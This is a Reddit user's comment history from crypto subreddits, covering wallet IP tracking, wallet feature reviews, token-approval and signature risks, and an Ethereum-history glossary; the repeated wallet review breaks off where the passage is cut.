Commented by /u/Maleficent_Plankton in /r/AlgorandOfficial on December 5, 2022 14:32:45
/r/CryptoCurrency/comments/zdfjo4/over_66_of_the_total_bitcoin_supply_hasnt_moved/iz1c890/

Actually, 33% of the supply moving is pretty high. That many people are selling or trading? I would've thought most whales wouldn't be touching their cold wallets.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 5, 2022 14:14:32
/r/CryptoCurrency/comments/zdelzu/beware_of_your_funds_have_been_sent_scam_mails/iz1b98i/

Right? Do we need 2 reminder posts about this every day?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 5, 2022 14:08:15
/r/CryptoCurrency/comments/zde77m/you_should_regularly_read_anticrypto_pieces_and/iz169t5/

We get exposed enough to anti-crypto just by reading normal news. In other words, just don't stay 24-7 in crypto echo chambers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 5, 2022 13:35:57
/r/CryptoCurrency/comments/zdelzu/beware_of_your_funds_have_been_sent_scam_mails/iz15xym/

If you're falling for these, you should probably stay away from Crypto until you learn security basics.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 5, 2022 13:33:51
/r/CryptoCurrency/comments/zdepjy/does_staking_allow_centralized_token_to_be/iz15nob/

Not really. Anyone could create a hyperinflationary coin with zero use and staking. For a good investment the coin needs to have net positive utility.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 5, 2022 13:32:01
/r/CryptoCurrency/comments/zdetkc/what_happens_when_fiat_currency_collapses_inside/iz15fnt/

Realistically, this is just Lebanon being an absolute financial and government mess right now. It's been building up for 2 decades.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 5, 2022 13:30:34
/r/CryptoCurrency/comments/zd6am7/deep_dive_into_layer_1_blockchains_ethereum/iz0ibta/

There are a dozen different topics in the deep dive post, and you summarized just one of them?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 5, 2022 11:00:00
/r/ethereum/comments/zcqtm9/how_many_do_you_know/iyz5le1/

[**Answers here**](https://np.reddit.com/r/ethfinance/comments/zb977b/daily_general_discussion_december_3_2022/iyxwb0w/?context=3) with help from OP (who also happens to be a core dev and founder of the Ethereum Cat Herders).

Commented by /u/Maleficent_Plankton in /r/ethereum on December 5, 2022 01:58:13
/r/ethereum/comments/z9b3yq/wallet_that_supports_multiple_coins/iyxx4ch/

I gave up looking for one. Just use a VPN. Expecting wallets and every dApp you interact with to keep your info private is bad security. The moment you touch an offramp, your IP gets revealed. From one of my earlier posts: **Most wallets that connect to the Internet track your IP address**. This is often for bugs reports, statistics, and other uses. They'll store your IP address, and that could be logged and recovered in the future. And if you're using an offline wallet, it probably connects to an online service or RPC that does track you. So before you vilify Metamask/Infura and promote other wallets you think are safe, just realize that it's extremely common. Now whether it's a bad thing really depends on you. **Most dApps, web3 sites, and CEXs already track you, and you've probably given away your IP address many times already.** If you need to hide your tracks, you should've used a VPN that doesn't store your IP address in the first place. It's already too late. ####**Wallets that track IP** **Loopring** Complies with the law and tracks IP https://loopring.io/#/document/privacy_en.md > We will not share your information with third parties except to provide you with our services and products, to **comply with the law** or to protect our rights. > (c) Device information: We will collect the relevant information of your device using our services, including device ID, version information of the mobile device operating system, mobile device platform type (iOS or Android), phone language, channel information (e.g., GooglePlay, Apple App Store), **IP address** in order to provide statistical analysis services, and calibrate the accuracy of report data through geographic location to provide basic anti-fraud function. **Gamestop** Tracks IP, GPS, and lots of device info: https://decrypt.co/101133/gamestop-rolls-out-metamask-like-ethereum-wallet-to-support-nft-marketplace https://wallet.gamestop.com/privacy **TrustWallet** Tracks IP: https://trustwallet.com/privacy-policy/ **Ledger Live** Tracks IP, click actions: https://www.ledger.com/privacy-policy **Guarda** Tracks IP: https://guarda.com/privacy-policy/ **Metamask** Some (likely most) RPCs track IP, including the default Infura RPC for Ethereum mainnet **Electrum** Electrum connects to ~10 servers at a time, and they see your IP address. Chances are at least one of them is tracking it. ####**Wallets that mostly do not track IP** **Exodus** Not normally tracked. Is tracked when using the in-wallet exchange feature: https://support.exodus.com/article/138-what-information-does-exodus-have-access-to **MyEtherWallet** Does **not** track IP as far as I can tell unless you visit their site: https://www.myetherwallet.com/privacy-policy ####**Unknown** **SafePal** Collects IP address when visiting the website. Unknown about the app. **Trezor Suite** Website doesn't say

Commented by /u/Maleficent_Plankton in /r/ethereum on December 4, 2022 19:21:34
/r/ethereum/comments/zc6qva/for_gods_sake_buy_a_hardware_wallet_already/iyxtzzc/

Here are 2 screenshots. The 1st one in RED, and you have no idea what transaction you're signing. The 2nd is fine. https://imgur.com/a/OSFpsKq

Commented by /u/Maleficent_Plankton in /r/ethereum on December 4, 2022 18:59:08
/r/ethereum/comments/zc6qva/for_gods_sake_buy_a_hardware_wallet_already/iyxm3fh/

All ERC-20 tokens have an approve(spender, amount) function that must be set before they can use a dApp for that token. Most dApps ask for unlimited approval for convenience so that the user doesn't have to approve again once the approved/allowance is spent up. However, this is lazy and can lead to loss if there is a bug in either the dApp or the token contract asking for approval. When a dApp asks for approve(), Metamask will have a tiny Edit button where you can change the approval amount to whatever you want (e.g. set it just above the transaction value). However, most users are either not aware of this Edit button or trust the dApp enough, so they just use the default unlimited value.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 4, 2022 18:02:47
/r/manga/comments/zcbszc/disc_a_damn_strong_elf_captain_whos_actually_a/iyx4007/

Inject this straight into my veins. This is more addicting than SouSou no Frieren.

Commented by /u/Maleficent_Plankton in /r/manga on December 4, 2022 15:59:20
/r/CryptoCurrency/comments/zc8guz/cardano_vs_ethereum_which_one_is_more/iywmduq/

These aren't cherry picked. They're very commonly-used metrics.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 4, 2022 14:08:37
/r/CryptoCurrency/comments/zbwy9w/lets_dispel_some_misconceptions_about_wrapped/iywkr5e/

Not mentioned in the article, but it's also good to know why they exist: 1. For DeFi and smart contracts. Native ETH needs to be wrapped as an ERC-20 token to be used like one. 1. Anything bridged into another network becomes wrapped. E.g. all ETH on Polygon PoS is wrapped.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 4, 2022 13:58:29
/r/ethereum/comments/zbyxmf/988_eth_stolen_from_metamask/iyw81dx/

I'm saying that the timing is off. Attacker transaction was 10 days before. Previous Tx before that was 80 days. It's possible the attacker sat doing nothing for 70 days, but it's unlikely.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 4, 2022 12:36:11
/r/ethereum/comments/zc6qva/for_gods_sake_buy_a_hardware_wallet_already/iyvvlmj/

That's a legit question. I've purposely written dodgy contacts for testing before. 1. Token approvals will give access to another account to spend your ERC-20 tokens at any time. Be careful with unlimited and high approvals. (However, this can't be done with ETH) 1. Meta-transactions and signature requests. Usually signature requests are for signing strings (white background in Metamask), but they can also be used to sign a malicious transaction (red background with warning in Metamask) that can be submitted by anyone else in the future as long as the nonce matches yourb account's nonce.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 4, 2022 11:10:07
/r/ethereum/comments/zbyxmf/988_eth_stolen_from_metamask/iyvu6tv/

Depends on which algorithm and how many cycles are used. Passwords are supposed to be brute-forcs resistant and use slow algorithms. Any professional development team would know that.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 4, 2022 10:59:57
/r/ethereum/comments/zbyxmf/988_eth_stolen_from_metamask/iyvrmv7/

Keylogger can't log something that never gets used and isn't in memory.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 4, 2022 10:41:34
/r/ethereum/comments/zbyxmf/988_eth_stolen_from_metamask/iyuk69l/

We're missing some info. If you haven't touched your wallet or Metamask in months, there's no way your account could've been compromised 10 days ago. One of your devices with the wallet must've been compromised. Even if you're always online using the browser with Metamask in the background, it can't unlock on its own. Your wallet seed isn't stored in plaintext. It needs you to enter your password first to decrypt it. Now if you have an insecure password (not long enough length) or one that's shared with other apps, then that password might have been compromised first. In that case, it is possible they unlocked Metamask using your password. But it's pretty hard. You'd need both a compromised device and a compromised password.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 4, 2022 02:07:13
/r/ethereum/comments/zbyxmf/988_eth_stolen_from_metamask/iyujqcz/

That's not how Metamask works. Metamask doesn't store seeds in plaintext, so it's technically impossible for a rogue app to grab it except when it's unlocked. There's something in this story that is missing. His computer must've been compromised the last time he used Metamask. That's the only way malware could've grabbed the seed. Another way is if they grabbed the stored data and then brute-forced his passcode, which is near impossible unless he had a short password.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 4, 2022 02:01:31
/r/ethfinance/comments/zb977b/daily_general_discussion_december_3_2022/iyu4og1/

My best attempt at Google-Fu. Not 100% accurate. There are likely some inside-joke nuances I didn't pick up. I only got 16/39. Yep, I'm a newbie. ####**Berg Level 1** * **BAYC**: NFT ape group and collection * **The DAO**: A blockchain VC whose whose funds were exploited, causing the community to decide to fork Ethereum (creating the split between Ethereum and Ethereum Classic) * **Uniswap**: The most popular swap dApp * **Solidity**: The most popular Ethereum contract programming language, based on Javascript * **DeFi Summer**: This can either refer to 2020 or 2021 when DeFi activity exploded on Ethereum and caused gas prices to skyrocket. ####**Berg Level 2** * **MakerDAO Purple Pill**: A 24-page document about the turmoil going on in MakerDAO leadership in 2019. Purple means taking the middle ground instead of the red or blue sides. * **CryptoKitties**: One of the first NFT blockchain games (2017) * **Ethereum Classic**: The original Ethereum blockchain pre-DAO hack fork * **Vitalik proof of life Twiter post**: vbuterin used an Ethereum transaction to prove that he was still alive after a 4chan hoax said he had died (2017) * **Code is Law**: The idea that code is absolute when determining the canonical state of the blockchain. If layer 0 wants to break the code, it needs to fork. ####**Berg Level 3** * **Ethereum Foundation EdCon Rap**: Probably best if you don't know. A cringey Ethereum rap song at EdCon 2019 featuring vbuterin. (Plasma chains did not survive) * **Ethereum Parity Wallet Hacks**: A pair of really bad vulnerabilities in the Parity Wallet that got exploited in Jul 2017 and Nov 2017. In the [first one](https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7/), **delegatecall** was exploited to take ownership of the contract. It was such a newbie error (possibly inside job). In the [second one](https://blog.openzeppelin.com/parity-wallet-hack-reloaded/), **delegatecall** was exploited again, but in a more sophisticated attack. The attacker gained access to the Parity wallet and then later self-destructed it. If they had just implemented onlyowner modifier correctly like how you're taught in Solidity 101, both of these could've been avoided. * **Smoking flirting and talking prices**: Refers to some random 2018 Twitter post. * **LSD fueled orgies**: Some random 2020 vbuterin Twitter reply about how he never did a "burner party, LSD or a sex orgy" ####**Berg Level 4** * **State Channels**: Ethereum Plasma chains and Bitcoin Lightning network use state channels. Was eventually considered this a dead-end technology for Layer 2 scaling in favor of rollups. * **2017 Shanghai Attacks**: Refers to the [spam attacks](https://tjayrush.medium.com/defeating-the-ethereum-ddos-attacks-d3d773a9a063) that created millions of useless accounts during the 2017 DevCon 2. * **April Fools Ethereum/Dogecoin Subreddit Swap**: I think this happened in either 2016 or 2017 * **ProgPoW**: A failed proposal to change Ethereum's mining algorithm in early 2020 to be ASIC-resistant and only use GPUs. * **"weeks not months"**: Evan Van Ness says that the ETH 2.0 [sic] Beacon chain will be ready in "weeks not months". Ends up taking 3 months. ####**Berg Level 5** * **EtherDelta**: The SEC targeted the EtherDelta DEX as an unregistered Exchange in 2018. This killed off keeping order books on a centralized server. Uniswap and others that weren't targeted use AMMs and smart contracts. * **White Hat Group (WHG)**: The hackers who drained the funds from the Parity wallet in the July 2017 attack, supposedly to save it. * **EIP-999**: A hard-fork proposal to restore the Parity wallet contract after the hacker self-destructed it. Never passed. * **Olympic**: The first Ethereum testnet back in 2015 * **2019 Block Rewards Debates**: Debates about reducing block reward from 3 ETH to 2 in the Constantinople update * **Whisper**: An early P2P messaging app on Ethereum. Deprecated. ####**Berg Level 6** * **Mana EIP**: Refers to this vbuterin 2015 [EIP](https://github.com/ethereum/EIPs/issues/29) to rename 'gas' to 'mana' * **Dogethereum Bridge**: A 2018 idea about bridging the Dogecoin network to Ethereum * **Casper CBC**: The original ETH 2.0/3.0 design for the Casper "Correct By Construction" protocol for PoS Ethereum finality. Later replaced by Casper FFG and Gasper for The Merge. * **Ethereum Alarm Clock**: An old protocol to help schedule transactions for the future. Was hacked in 2022 7 years after the contract was released when an exploit was finally found in the gas refund mechanism. * **Two Wooks**: Old inside joke for "2 weeks" dating to 2016 ####**Berg Level 7** * **Accidental RipeMD160 precompile deletion**: RIPEMD-160 is a Bitcoin hashing algorithm used in conjuction with SHA256 to make it more quantum-resistant. I have no idea what the accidental precompile deletion is. * **ether.camp / Roman Mandeleil**: A controversial early Ethereum hackathon organization. Raised funds. Accused of rewarding prize money to a cheating team. Launched one of the first ICOs in Dec 2016 through the HKG token. Roman Mandeleil was the founder and CEO of ether.camp. He disappeared after raising funds for the HKG ICO, leading to calls of a rug pull. * **AlethZero**: Early desktop mining client for Ethereum. Discontinued in 2016 * **SUICIDE OPCODE Renaming EIP**: EIP-6 renamed the SUICIDE opcode to SELFDESTRUCT (for destroying contracts) since the word "suicide" should not be taken lightly. ####**Berg Level 8** If you recognize any of these, you may secretly be a core dev or part of the community since 2015. I suspect that some fo these are esoteric inside jokes that mortals like us will not know. * **Andrew Miller predicted The DAO hack**: What?? * **EthereumJS Padding Bug**: ?? * **Mike Trout**: ?? * **Mutan**: An old deprecated C-like language for Ethereum prior to Solidity * **Joe Lubin Bahamas Recording Studio**: ?? Lubin is a cofounder of ConsenSys and Ethereum.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 3, 2022 23:21:09
/r/ethfinance/comments/zb977b/daily_general_discussion_december_3_2022/iytn81w/

I remember seeing that twice in this week's summary: EIP6046: Replace SELFDESTRUCT with DEACTIVATE EIP6049: Deprecate SELFDESTRUCT

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 3, 2022 20:51:28
/r/ethfinance/comments/zbrp8d/hudson_jameson_aka_usouptacular_ethereum_iceberg/iytmxz7/

Further proof that I am Jon Snow. Thanks for sharing. I'm going to enjoy reading up on these.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 3, 2022 20:49:15
/r/CryptoCurrency/comments/zbnmum/an_unknown_individual_signed_a_message_associated/iyt4g17/

Could still be one of them. I create arbitrary test accounts on the block chain all the time, and I'll die before revealing those were my accounts. It's pretty normal in development.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 3, 2022 18:22:09
/r/CryptoCurrency/comments/zbkfuz/michael_burry_was_right_about_crypto_being/iys4vcv/

I'm just trying to stay on topic. The Tweet is very short and very vague. It was not about price, and that's all I wanted to say. ----- As for what you want to discuss, I agree that most of the crash was directly caused by outright fraud and bad accounting. Lenders were not doing book-to-value properly. Leverage was integral to the overall pump of the whole market. There were a lot of sketchy loans created the equivalent of leverage because they used low-liquidity, artificially-pumped tokens as collateral. The true value of those token if they had been sold on an open market would be nowhere near their loan value due to the low liquidity. SBF/FTX did this with SRM and FTT. Luna/UST had a similar system of indirect leverage where the market for Luna and UST was amplified through how their seigniorage model worked and the Anchor protocol (with its finite rewards pool). They actually expedited their own downfall when they used their own tokens to purchase the BTC reserve, not realizing that the price fall from selling their own token was amplified by leverage.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 3, 2022 14:07:31
/r/ethereum/comments/zbmrun/guide_get_57_more_cryptocurrency_when_exchanging/iyrzaub/

100% a scam. Link goes to a completely different website. This is NOT 1inch.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 3, 2022 13:28:46
/r/CryptoCurrency/comments/zbkfuz/michael_burry_was_right_about_crypto_being/iyrmsqo/

This wasn't a price prediction. This was a method/how prediction.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 3, 2022 12:02:44
/r/ethfinance/comments/zb977b/daily_general_discussion_december_3_2022/iyrgynx/

Just peel off the bandaid already. Get it done with so that we can start healing and moving on.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 3, 2022 11:24:09
/r/CryptoCurrency/comments/zbe58m/eutxoorg_new_version_of_visual_blockchain/iyrgr59/

It's the same. Sure you can create near-unlimited public keys (addresses) from a private key. But unless you can hide the UTXO input address, others can block TXs to it. Preventing a block needs to come from the block proposal and validation side.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 3, 2022 11:22:43
/r/CryptoCurrency/comments/zbinlu/i_just_found_out_about_rcc_youtube_channel_is_it/iyrcf3y/

I remeber those being linked in this sub a year ago. So likely legit. It's been awhile since their last video.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 3, 2022 10:52:39
/r/CryptoCurrency/comments/zbe58m/eutxoorg_new_version_of_visual_blockchain/iyrbh4l/

Nearly all networks can do batch transactions (some exceptions like Algorand can't) For Cardano, you can increase UTXOs by 4x with batch. For native tokens, there is almost no limit to increases as long as the UTXO addresses remains constant. For Ethereum, you can increase by 2x. That means 119 TPS for basic ETH transfers, which can temporarily boost to 238 TPS at a 30M gas limit.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 3, 2022 10:46:35
/r/CryptoCurrency/comments/zbe58m/eutxoorg_new_version_of_visual_blockchain/iyraspo/

How so? Data structure should be unrelated. OFAC is related to block proposals and block validation.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 3, 2022 10:41:47
/r/CryptoCurrency/comments/zbe58m/eutxoorg_new_version_of_visual_blockchain/iyralqy/

Thanks. I found that months ago and lost the link. It's a really cool visual.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 3, 2022 10:40:21
/r/CryptoCurrency/comments/zbgcet/why_do_you_guys_hate_ta_or_anyone_attempting_to/iyr9ttp/

Exactly. What's the point of TA if the fundamentals suck. Or if you can't predict the monthly chaotic gray swan events like Luna and SBF that keep happening? It's useless for something as volatile as crypto.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 3, 2022 10:34:49
/r/CryptoCurrency/comments/zbfob0/where_can_i_find_a_graduate_level_cryptocurrency/iyr8gse/

https://np.reddit.com/r/MPlankton/comments/q3p184/crypto_education_courses_and_study_material Courses I've taken and reviewed. More of lower division college level than graduate level.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 3, 2022 10:24:37
/r/CryptoCurrency/comments/zb5kr2/latest_week_in_ethereum_news/iypfsz8/

Sadly, almost no one here will understand any of this tech summary. I think it's fine to delay 4844 until it's ready. Withdrawals have higher priority. EIP-6047 is interesting. I don't think it actually fixes balance, at least for explorers, which rely on the balanceOf() function. I can still arbitrarily set balance to anything and not match the Emits.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 2, 2022 22:12:53
/r/CryptoCurrency/comments/zb3m57/alameda_received_over_36_billion_usdt_from_tether/iypd6fn/

As much as I should love to swallow Tether FUD, there are thousands of experts already cross-examining Tether and FTX. Someone should've mentioned sometime this big already. Do you have a source? Also, half of Tether is on Tron. The other half is on Ethereum. Which part does Alameda have?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 2, 2022 21:51:06
/r/CryptoCurrency/comments/zb2hre/im_no_longer_a_btc_maximalist_dca_converted_to_eth/iyp44hd/

He's a figurehead. Holds 1% of the stake value. Ethereum developers will do just fine without him.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 2, 2022 20:36:45
/r/CryptoCurrency/comments/zavy3w/launch_of_reddit_avatars_on_christmas/iyo89zx/

You follow the Deployer Contract on Polyscan and subscribe to it. That's how you get notified.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 2, 2022 16:31:36
/r/CryptoCurrency/comments/zav6bg/wallstreetbets_nfts_just_got_leaked_13_millions/iyo6ula/

It's pretty similar to the ContractURI for the other paid ones: * https://reddit.infura-ipfs.io/ipfs/QmfP9yxJxWkknDqhLc2dwnYt2oTPnCkhF8e9bi257qsnyo * https://reddit.infura-ipfs.io/ipfs/QmUJ3Ji2cbU4MC1f13TptycN6DH7XqSgf5kmsZe3iVbpNL * https://reddit.infura-ipfs.io/ipfs/QmP9Q1ZFGMAAKWrzfTD2aehdKTeYNvS6gr8HgV55YeV5W3 But who knows.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 2, 2022 16:21:40
/r/CryptoCurrency/comments/zav6bg/wallstreetbets_nfts_just_got_leaked_13_millions/iynwjv0/

It's almost certainly not a drop, as stated in the metadata. You'll have to buy it. > When you purchase a Collectible Avatar, you become the owner of it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 2, 2022 15:12:22
/r/CryptoCurrency/comments/zav6bg/wallstreetbets_nfts_just_got_leaked_13_millions/iynw9ve/

> When you purchase a Collectible Avatar, you become the owner of it. Then buy it when it's available. This is probably only going to onboard 2000 members, assuming it's not just the normal scalper group buying it all up.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 2, 2022 15:10:29
/r/ethfinance/comments/zadbqz/daily_general_discussion_december_2_2022/iynb06g/

What makes it even more confusing is that web3 also refers to the developer libraries used to connect to wallets, nodes, and smart contracts. I wish they didn't pick the same name.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 2, 2022 12:48:23
/r/CryptoCurrencyMeta/comments/zapoyt/the_state_of_rcc_a_rant/iyn4hh9/

It's like 90% news-related spam with very little worthwhile original content. The good OC posts usually get buried by the posts with clickbait titles. I have to visit the ethfinance dailies to regain my sanity.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on December 2, 2022 12:06:21
/r/CryptoCurrency/comments/zalfi8/hacks_on_ankr_and_hay_the_initial_analysis_is/iymonff/

They had at least $5M. Maybe a diversion or framing someone else, who knows.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 2, 2022 10:20:17
/r/CryptoCurrency/comments/zao9ie/ankr_being_exploited_attacker_minted_over_4/iymoais/

Liquidity > Because the hacker almost completely drained the aBNBc liquidity pools on PancakeSwap and ApeSwap, the token lost nearly 99% of its value, according to CoinGecko data. This is also why those 100% APY liquidity yields are risky AF

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 2, 2022 10:17:51
/r/CryptoCurrency/comments/zaobaw/serious_2_what_defi_wallet_do_you_use_and_what/iymlecg/

####**Metamask (Chrome extension)**: I started with Metamask and have been using it for a year on multiple EVM-compatible networks and testnets. Overall: Probably the most powerful advanced user and developer wallet. Still disappointing because its UI is not user-friendly, and it doesn't have that many features. * **Users and UI**: It's a wallet for advanced users and devs. It doesn't have a user-friendly UI or hand-hold you. * UI floats. Can expand to full screen * **Support**: It is universally-accepted across nearly all dApps. It supports all EVM networks since you can enter a Chain ID. * **Accounts**: Unlimited accounts using derivation path of m/44'/60'/0'/0 * Self-custody with seed recovery * **Features**: You can enter custom nonces, gas fees, tokens * Does not support NFTs, metadata, or address book * You can use it to sign any transaction * Auto-detect some tokens on mainnets. Have to manually add tokens for testnets. * **Security** * dApp connector: Shows requested permissions * Transaction details: Shows you the gas fees, recipient address, function type, bytes, raw data * Warnings: It doesn't do a good job of warning you about suspicious transactions; it expects you to know what you're doing. It will give you a red warning if there is a signature request for a transaction hash. It will give you a warning if the expected gas fee is high, which is a sign that the transaction will fail. HOWEVER, it does not adequately explain to you what those warnings mean. * Can display and revoke app connections. Cannot display what permissions are allowed. * Dev: It is mostly dev-friendly in that you can use it with nearly all dev tools. However, you need a separate web3 interface to interact directly with contracts. * Hardware: Works with Ledger, Trezor, GridPlus Lattice1, and some others ------------------------ ####**Coinbase Wallet (Chrome extension)**: Overall: Very easy to use and supports many features. Great for its testnet ETH faucets. I've only used this for a couple of weeks * **Users and UI**: For retail and very basic dev * Easy to use * UI floats. Cannot expand to full screen * Lists many dApps * **Support**: Supports 9 networks, including 2 L2 networks: Arbitrum One and Optimism. Supports many testnets. Does not allow for custom Chain ID. * **Accounts**: Unlimited accounts using derivation path of m/44'/60'/0'/0 * Self-custody with seed recovery * **Features**: You can enter custom gas fees * Auto-detects all tokens. This includes any scamcoins that randomly get sent to accounts. Fortunately, you can hide and report the scamcoins. * Supports some NFTs. Auto-detected my ERC-1155 Reddit avatar, but not my ERC-721 NFT on Gnosis. * Does not support custom nonces, metadata, address book * You can use it to sign any transaction. * Combines all account balances together across networks * **Security** * dApp connector: Shows requested permissions * Transation details: Shows recipient address, value sent, gas fee, signatures. Does not show function details, which is a huge limitation for advanced users. * Warnings: Ambiguous blanket warning. It doesn't recognize contract functions and what they do. Instead, it warns on all of them. * Can display and revoke app connections. Cannot display what permissions are allowed. * Dev: Supports most dev tools. However, you need a separate web3 interface to interact directly with contracts. * **Transaction details are too basic** for serious development * **Includes testnet faucet!** This is amazing. * Hardware: Works only with Ledger * Other: * Ironically, it often fails to work in dApps using the Coinbase Wallet connector, but works perfectly fine with the Metamask connector. * Can claim a ".cb.id" username ------------------------ ####**Enkrypt (Chrome extension)**: Overall: Somewhat easy to use and supports many networks. Strangely missing a lot of functions and advanced settings. I've only used this for a couple of weeks * **Users and UI**: For retail and moderate users * Easy to use * UI floats. Cannot expand to full screen * Lists many dApps * Lacks most settings options * **Support**: Supports 21 networks, including many L2 networks and testnets. Does not allow for custom Chain ID. 21 networks. Many subnets, but not Sepolia * **Accounts**: Unlimited accounts using derivation path of m/44'/60'/0'/0 * Self-custody with seed recovery * **Features**: * Simple gas selection * Very limited NFT support * Does not support custom nonces, gas fees, NFTs, metadata, or address book * You can use it to sign any transaction * Does not auto-detect tokens. Must manually add them. * **Security** * Does not show connect to dApps * Transation details: Shows fees, recipient address, raw data. No function details. * It doesn't recognize contract functions and what they do. * Hardware: Works only with Ledger and Trezor * Dev: No dev support * Other: * Partnered with MyEtherWallet (MEW)? * A bit slow, like a UTXO wallet. Seems to be doing a price lookup after most actions. * Also supports Bitcoin network ------------------------ ####**Trust Wallet and Exodus** I briefly looked at these 2 but didn't continue because their features were very limited. **Exodus** (Chrome extension): Pretty UI. Friendly and easy to use for retail users. Easy to buy and sell popular tokens and cryptocurrencies. Only connects to a dozen different networks and no testnets. Works poorly with complex dApps because it doesn't provide enough details about what the transaction is doing. **TrustWallet** (Chrome extension): Easily the most basic wallet on this list. The UI has extremely-limited options. Only supports 4 networks and 2 outdated testnets. When injecting from a web3 client, it shows about the same amount of details for transaction requests as Metamask. Possibly hasn't been updated in years based on the deprecated testnets it supports. Would not recommend.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 2, 2022 09:57:07
/r/ethereum/comments/z9b3yq/wallet_that_supports_multiple_coins/iyl8nip/

Mainly because I develop and I need a lot of options like testnets. Some of my thoughts on a few wallets I've tested lately: ####**Metamask (Chrome extension)**: I started with Metamask and have been using it for a year on multiple EVM-compatible networks and testnets. Overall: Probably the most powerful advanced user and developer wallet. Still disappointing because its UI is not user-friendly, and it doesn't have that many features. * **Users and UI**: It's a wallet for advanced users and devs. It doesn't have a user-friendly UI or hand-hold you. * UI floats. Can expand to full screen * **Support**: It is universally-accepted across nearly all dApps. It supports all EVM networks since you can enter a Chain ID. * **Accounts**: Unlimited accounts using derivation path of m/44'/60'/0'/0 * Self-custody with seed recovery * **Features**: You can enter custom nonces, gas fees, tokens * Does not support NFTs, metadata, or address book * You can use it to sign any transaction * Auto-detect some tokens on mainnet. Have to manually add tokens for testnets. * **Security** * dApp connector: Shows requested permissions * Transation details: Shows you the gas fees, recipient address, function type, bytes, raw data * Warnings: It doesn't do a good job of warning you about suspicious transactions; it expects you to know what you're doing. It will give you a red warning if there is a signature request for a transaction hash. It will give you a warning if the expected gas fee is high, which is a sign that the transaction will fail. HOWEVER, it does not adequately explain to you what those warnings mean. * Can display and revoke app connections. Cannot display what permissions are allowed. * Dev: It is mostly dev-friendly in that you can use it with nearly all dev tools. However, you need a separate web3 interface to interact directly with contracts. * Hardware: Works with Ledger, Trezor, GridPlus Lattice1, and some others ------------------------ ####**Coinbase Wallet (Chrome extension)**: Overall: Very easy to use and supports many features. Great for its testnet ETH faucets. I've only used this for a couple of weeks * **Users and UI**: For retail and very basic dev * Easy to use * UI floats. Cannot expand to full screen * Lists many dApps * **Support**: Supports 9 networks, including 2 L2 networks: Arbitrum One and Optimism. Supports many testnets. Does not allow for custom Chain ID. * **Accounts**: Unlimited accounts using derivation path of m/44'/60'/0'/0 * Self-custody with seed recovery * **Features**: You can enter custom gas fees * Auto-detects all tokens. This includes any scamcoins that randomly get sent to accounts. Fortunately, you can hide and report the scamcoins. * Supports some NFTs. Auto-detected my ERC-1155 Reddit avatar, but not my ERC-721 NFT on Gnosis. * Does not support custom nonces, metadata, address book * You can use it to sign any transaction. * Combines all account balances together across networks * **Security** * dApp connector: Shows requested permissions * Transation details: Shows recipient address, value sent, gas fee, signatures. Does not show function details, which is a huge limitation for advanced users. * Warnings: Ambiguous blanket warning. It doesn't recognize contract functions and what they do. Instead, it warns on all of them. * Can display and revoke app connections. Cannot display what permissions are allowed. * Dev: Supports most dev tools. However, you need a separate web3 interface to interact directly with contracts. * **Transaction details are too basic** for serious development * **Includes testnet faucet!** This is amazing. * Hardware: Works only with Ledger * Other: * Ironically, it often fails to work in dApps using the Coinbase Wallet connector, but works perfectly fine with the Metamask connector. * Can claim a ".cb.id" username ------------------------ ####**Enkrypt (Chrome extension)**: Overall: Somewhat easy to use and supports many networks. Strangely missing a lot of functions and advanced settings. I've only used this for a couple of weeks * **Users and UI**: For retail and moderate users * Easy to use * UI floats. Cannot expand to full screen * Lists many dApps * Lacks most settings options * **Support**: Supports 21 networks, including many L2 networks and testnets. Does not allow for custom Chain ID. 21 networks. Many subnets, but not Sepolia * **Accounts**: Unlimited accounts using derivation path of m/44'/60'/0'/0 * Self-custody with seed recovery * **Features**: * Simple gas selection * Very limited NFT support * Does not support custom nonces, gas fees, NFTs, metadata, or address book * You can use it to sign any transaction * Does not auto-detect tokens. Must manually add them. * **Security** * Does not show connect to dApps * Transation details: Shows fees, recipient address, raw data. No function details. * It doesn't recognize contract functions and what they do. * Hardware: Works only with Ledger and Trezor * Dev: No dev support * Other: * 